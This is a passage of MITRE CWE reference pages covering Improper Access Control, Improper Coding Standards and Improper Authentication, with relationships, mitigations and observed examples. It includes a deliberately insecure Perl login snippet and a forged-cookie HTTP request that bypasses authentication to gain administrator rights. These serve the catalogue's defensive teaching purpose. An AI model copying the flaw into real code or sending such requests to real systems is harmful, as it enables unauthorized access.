MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1369 ICS Supply Chain: IT/OT Convergence/Expansion
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1372 ICS Supply Chain: OT Counterfeit and Malicious Corruption
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reasons Frequent Misuse, Abstraction

Rationale

CWE-284 is extremely high-level, a Pillar. Its name, "Improper Access Control," is often misused in low-information vulnerability reports [REF-1287] or by active use of the OWASP Top Ten, such as "A01:2021-Broken Access Control". It is not useful for trend analysis.

Comments

Consider using descendants of CWE-284 that are more specific to the kind of access control involved, such as those involving authorization (Missing Authorization (CWE-862), Incorrect Authorization (CWE-863), Incorrect Permission Assignment for Critical Resource (CWE-732), etc.); authentication (Missing Authentication (CWE-306) or Weak Authentication (CWE-1390)); Incorrect User Management (CWE-286); Improper Restriction of Communication Channel to Intended Endpoints (CWE-923); etc.

Suggestions

CWE-ID Comment
CWE-862 Missing Authorization
CWE-863 Incorrect Authorization
CWE-732 Incorrect Permission Assignment for Critical Resource
CWE-306 Missing Authentication
CWE-1390 Weak Authentication
CWE-923 Improper Restriction of Communication Channel to Intended Endpoints
+ Notes

Maintenance

This entry needs more work. Possible sub-categories include:

  • Trusted group includes undesired entities (partially covered by CWE-286)
  • Group can perform undesired actions
  • ACL parse error does not fail closed
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Access Control List (ACL) errors
WASC 2 Insufficient Authorization
7 Pernicious Kingdoms Missing Access Control
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28.
<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>. (URL validated: 2024-11-17)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Relationships
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Observed_Examples
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Description, Observed_Examples, Relationships
2022-10-13 CWE Content Team MITRE
updated References
2022-06-28 CWE Content Team MITRE
updated Observed_Examples
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Observed_Examples
2021-03-15 CWE Content Team MITRE
updated Maintenance_Notes, Relationships
2020-12-10 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings, Type
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2017-11-08 CWE Content Team MITRE
updated Affected_Resources, Modes_of_Introduction, Observed_Examples, References, Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2011-06-27 CWE Content Team MITRE
updated Common_Consequences
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships
2011-03-24 CWE Content Team MITRE
Changed name and description; clarified difference between "access control" and "authorization."
2010-06-21 CWE Content Team MITRE
updated Potential_Mitigations
2010-02-16 CWE Content Team MITRE
updated References, Taxonomy_Mappings
2009-12-28 CWE Content Team MITRE
updated Potential_Mitigations
2009-07-27 CWE Content Team MITRE
updated Alternate_Terms, Relationships
2009-03-10 CWE Content Team MITRE
updated Relationships
2008-10-14 CWE Content Team MITRE
updated Relationships
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-09-09 Access Control Issues
2011-03-29 Access Control (Authorization) Issues
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CWE-710: Improper Adherence to Coding Standards

Weakness ID: 710
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
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+ Description
The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Other

Scope: Other

+ Potential Mitigations
Phase(s) Mitigation

Implementation
Document and closely follow coding standards.

Testing; Implementation
Where possible, use automated tools to enforce the standards.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1000 Research Concepts
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 476 NULL Pointer Dereference
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 477 Use of Obsolete Function
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 484 Omitted Break Statement in Switch
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 489 Active Debug Code
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 570 Expression is Always False
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 571 Expression is Always True
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 573 Improper Following of Specification by Caller
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 657 Violation of Secure Design Principles
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 684 Incorrect Provision of Specified Functionality
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 758 Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1041 Use of Redundant Code
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1044 Architecture with Number of Horizontal Layers Outside of Expected Range
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1048 Invokable Control Element with Large Number of Outward Calls
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1059 Insufficient Technical Documentation
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1061 Insufficient Encapsulation
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1065 Runtime Resource Management Control Element in a Component Built to Run on Application Servers
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1066 Missing Serialization Control Element
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1068 Inconsistency Between Implementation and Documented Design
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1076 Insufficient Adherence to Expected Conventions
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1092 Use of Same Invokable Control Element in Multiple Architectural Layers
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1093 Excessively Complex Data Representation
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1101 Reliance on Runtime Component in Generated Code
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1120 Excessive Code Complexity
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1126 Declaration of Variable with Unnecessarily Wide Scope
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1127 Compilation with Insufficient Warnings or Errors
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1164 Irrelevant Code
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1177 Use of Prohibited Code
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1209 Failure to Disable Reserved Bits
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1357 Reliance on Insufficiently Trustworthy Component
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 978 SFP Secondary Cluster: Implementation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1370 ICS Supply Chain: Common Mode Frailties
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1375 ICS Engineering (Construction/Deployment): Gaps in Details/Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1383 ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reason Abstraction

Rationale

This CWE entry is extremely high-level, a Pillar.

Comments

Consider children or descendants of this entry instead.
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-09-09
(CWE 1.0, 2008-09-09) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2022-04-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Type
2019-01-03 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Name, Relationships
2017-01-19 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2009-03-10 CWE Content Team MITRE
updated Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2017-11-08 Coding Standards Violation
Back to top

CWE-287: Improper Authentication

Weakness ID: 287
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
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+ Description
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Diagram for CWE-287
+ Alternate Terms
authentification
An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.
AuthN
"AuthN" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
AuthC
"AuthC" is used as an abbreviation of "authentication," but it appears to used less frequently than "AuthN."
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data; Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands

Scope: Integrity, Confidentiality, Availability, Access Control

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 295 Improper Certificate Validation
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 306 Missing Authentication for Critical Function
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 645 Overly Restrictive Account Lockout Mechanism
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1390 Weak Authentication
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 613 Insufficient Session Expiration
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 290 Authentication Bypass by Spoofing
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 294 Authentication Bypass by Capture-replay
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 295 Improper Certificate Validation
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 306 Missing Authentication for Critical Function
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 307 Improper Restriction of Excessive Authentication Attempts
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 521 Weak Password Requirements
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 522 Insufficiently Protected Credentials
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 640 Weak Password Recovery Mechanism for Forgotten Password
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 798 Use of Hard-coded Credentials
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Relevant to the view "CISQ Data Protection Measures" (View-1340)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

(bad code)
Example Language: Perl 
my $q = new CGI;

if ($q->cookie('loggedin') ne "true") {
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("Error: you need to log in first");
}
else {
# Set loggedin and user cookies.
$q->cookie(
-name => 'loggedin',
-value => 'true'
);

$q->cookie(
-name => 'user',
-value => $q->param('username')
);
}
}

if ($q->cookie('user') eq "Administrator") {
DoAdministratorTasks();
}

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

(attack code)
 
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true

[body of request]

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.



Example 2


In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2 References:
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.


Example 3


In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors did not use any authentication or used client-side authentication for critical functionality in their OT products.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
File-sharing PHP product does not check if user is logged in during requests for PHP library files under an includes/ directory, allowing configuration changes, code execution, and other impacts.
Chat application skips validation when Central Authentication Service (CAS) is enabled, effectively removing the second factor from two-factor authentication
Python-based authentication proxy does not enforce password authentication during the initial handshake, allowing the client to bypass authentication by specifying a 'None' authentication type.
Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390).
TCP-based protocol in Programmable Logic Controller (PLC) has no authentication.
Condition Monitor uses a protocol that does not require authentication.
Safety Instrumented System uses proprietary TCP protocols with no authentication.
Distributed Control System (DCS) uses a protocol that has no authentication.
SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.
Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390)
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV.
Mail server does not properly check an access token before executing a Powershell command, as exploited in the wild per CISA KEV.
Chain: user is not prompted for a second authentication factor (CWE-287) when changing the case of their username (CWE-178), as exploited in the wild per CISA KEV.
Authentication bypass by appending specific parameters and values to a URI, as exploited in the wild per CISA KEV.
Mail server does not generate a unique key during installation, as exploited in the wild per CISA KEV.
LDAP Go package allows authentication bypass using an empty password, causing an unauthenticated LDAP bind
login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.
admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
product uses default "Allow" action, instead of default deny, leading to authentication bypass.
chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
product does not properly implement a security-related configuration setting, allowing authentication bypass.
authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
+ Detection Methods
Method Details

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness: High

Note:These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

